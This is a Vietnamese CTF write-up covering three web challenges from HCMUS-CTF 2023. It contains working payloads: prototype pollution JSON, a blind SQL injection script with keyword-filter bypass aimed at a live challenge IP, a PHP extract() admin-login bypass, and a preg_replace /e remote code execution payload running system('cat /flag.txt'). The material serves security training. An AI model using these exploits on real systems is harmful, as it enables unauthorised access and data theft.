Try   HackMD

HCMUS-CTF 2023 Warm-up

Giải này chỉ private cho sinh viên trong trường chơi, nên mình có đi xin đề và source từ một người bạn tham gia giải. Chủ yếu là để luyện thêm CTF từ các trường khác.

Category Challenge Name Difficulty
Web Polluted Web Easy
Web Have I Been Pwned Medium
Web 8990 Easy
Web Cute Page 2 Hard

Polluted Web

  • Preview
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Trang web viết bằng nodejs và có 2 chỗ input là Name và Opinion
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Thử gửi lên và bắt request qua Burp thì mình thấy sau khi gửi web sẽ set một JWT lên, và nó sẽ parse ra để lấy Opinion.
    Tiếp theo đến với source code của bài:
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Dòng 28 có gọi đến hàm validate
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

Và ta có thể thấy thêm được từ hàm validate có gọi đến hàm merge (Mà thường thì khi sử dụng hàm này có thể bị prototype pollution)

  • Exploit
if (userOpinions && flag.flag === true) { if (temp.flag === true) { userOpinions.push("Please, no hack!"); res.render("index", { userOpinions }); } else { userOpinions.push(process.env.FLAG || "Flag{lmaolmao}"); res.render("index", { userOpinions }); } } else { res.render("index", { userOpinions }); }

Từ các điều kiện trên chúng ta cần gửi userOpinions && flag = true và temp.flag = false thì mới có thể lấy được flag

  • Payload
{
    "name": "onsra",
    "opinion": "onsra",
    "__proto__": {
        "flag": true
    },
    "flag":false
}

Và sửa Content-Type: application/json

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Have I Been Pwned

  • Preview
    Nhìn qua code thì cũng đoán được là SQL blind.
    Và có một ít filter.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Ở đây đầu vào là pw sau khi đi qua hàm filter
    Black list như sau:
const blacklist = ["--", "#", "select", "like", "insert", " or ", "update", "from", "where", "union"];
  • Idea
    Vì ở bài này chỉ replaceAll khi mà gặp từ trong blacklist nên mình có thể sử dụng cách như sau:

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Như vậy thì mình có thể dùng được Or mà không bị filter nữa.
    Tuy nhiên cách mình làm lại tránh đi sử dụng các từ này :v , vì 2 cách comment đều bị xoá nên mình làm như sau:
    ' || '1' = '1
    Câu query sẽ trở thành:
    SELECT id, password FROM pwned WHERE password='' || '1' = '1'
    Và như thế là mình thành công trong việc inject.
    Tiếp theo là chỉ cần lấy flag, vì trong file db tác giải đã hint Flag ở id = 1337 (Chứ mà ngồi brute từng dòng thì lâu mới xong :v)
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

  • Payload:

import requests import string url = "http://103.245.250.17:30007" string = string.printable flag = "" for i in range(1,200): for j in string: print(j,end='\r') payload = {"password" : f"' || id = 1337 and ascii(substr(password,{i},1)) = ord('{j}') and '1' = '1"} r = requests.post(url, data = payload) if "./pwned.jpg" in r.text: flag += j print(flag) break

8990

  • Preview
    Bài này có bị lộ flag khi chỉ cần truy cập vào file Docker, nhưng cái hay của bài là hướng RCE.
    Mình chia chall này thành 2 phần:
    Đầu tiên là cần bypass login:
    Nếu chỉ login với account guest thì chúng ta không làm được gì, thế nhưng password admin đã bị hashmd5 mà không thể crack được.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
<?php include_once('filter.php'); session_start(); $guest_passwd = '084e0343a0486ff05530df6c705c8bb4'; # guest $admin_passwd = 'b97bfac663d33e4823bbdd966508ecc1'; if (!empty($_SESSION['username'])) { header('Location: /index.php'); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { extract(json_decode(file_get_contents("php://input"), true)); if (!isset($username) || !isset($password)) { die('{"success":false,"data":{"error":"Missing username or password"}}'); } if ($username === '' or $password === '') { die('{"success":false,"data":{"error":"Username or password cannot be blank"}}'); } # local debug only if ($username === 'debug') { if (!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { die('{"success":false,"data":{"error":"Nope"}}'); } } switch ($username) { case 'debug': $_SESSION['username'] = 'admin'; $_SESSION['admin'] = true; die('{"success":true}'); case 'admin': if (md5($password) != $admin_passwd) { die('{"success":false,"data":{"error":"Incorrect credentials"}}'); } $_SESSION['username'] = 'admin'; $_SESSION['admin'] = true; die('{"success":true}'); case 'guest': if (md5($password) != $guest_passwd) { die('{"success":false,"data":{"error":"Incorrect credentials"}}'); } $_SESSION['username'] = 'guest'; $_SESSION['admin'] = false; die('{"success":true}'); default: die('{"success":false,"data":{"error":"Incorrect credentials"}}'); } } ?>
  • Idea
    Nếu username = debug , thì cần điều kiện từ ip local, chỗ này thì cũng không thể bypass được.
    Ở dòng 13 sử dụng extract để parse những cái mình input vào. -> Mình có thể exploit ở đây để login với admin, vì hàm này khá là nguy hiểm. Nói nôm na là extract sẽ đưa các biến input vào một mảng (Mình sẽ ghi đè lại password hash của admin).
{
    "username":"admin",
    "password":"admin",
    "admin_passwd": "21232f297a57a5a743894a0e4a801fc3"
    // 21232f297a57a5a743894a0e4a801fc3 = md5('admin')
}


Như vậy là login thành công, lấy PHPSESSID để vào bên trong trang web.

Tiếp đến đây là phần 2 của chall:

Một phần là vì thiếu file mà tác giả cung cấp, và lỗi font hay sao cái content nó bị ** như thế :v
Chỉ có một chức năng duy nhất là search content. Chúng ta sẽ review qua source.

<?php include_once('filter.php'); session_start(); if (!$_SESSION['admin']) { header('Location: /login.php'); exit; } $q = ''; extract($_GET); $conn = new SQLite3('db.db'); $stmt = $conn->prepare('SELECT * FROM chat_logs WHERE content LIKE :q'); $stmt->bindValue(':q', '%'.$q.'%', SQLITE3_TEXT); $result = $stmt->execute(); ?>

Lại một lần nữa sử dụng hàm extract, và có thêm một câu query (Tuy nhiên ở đây theo cách viết này thì không bị lỗi sqli được).


Lướt xuống một chút thì có thể thấy filter_content được gọi đến từ file filter.php

<?php $filter = '/'.preg_replace('/\r\n/', '|', file_get_contents('bad_words.txt')).'/i'; $mask = '*****'; function filter_content($content) { global $filter, $mask; return preg_replace($filter, $mask, $content); } ?>

Kết hợp với extract ở trên thì mình có thể control được ở đây, nhưng mà control vào hàm preg_replace thì làm được gì :v .

Tác giả lại đi sử dụng php 5.5 :/

Các bạn có thể tham khảo ở đây để biết thêm (Link)

Đọc qua về modifier e ở phiên bản 5.5 thì chút nào mọi người cũng hiểu được là nó sẽ chạy php bên trong hàm luôn.
Thế nên mình sẽ control cả 3 tham số truyền vào hàm và để RCE đọc flag.


  • Payload:
    /admin.php?q=o&mask=system('cat+/flag.txt');&filter=/o/e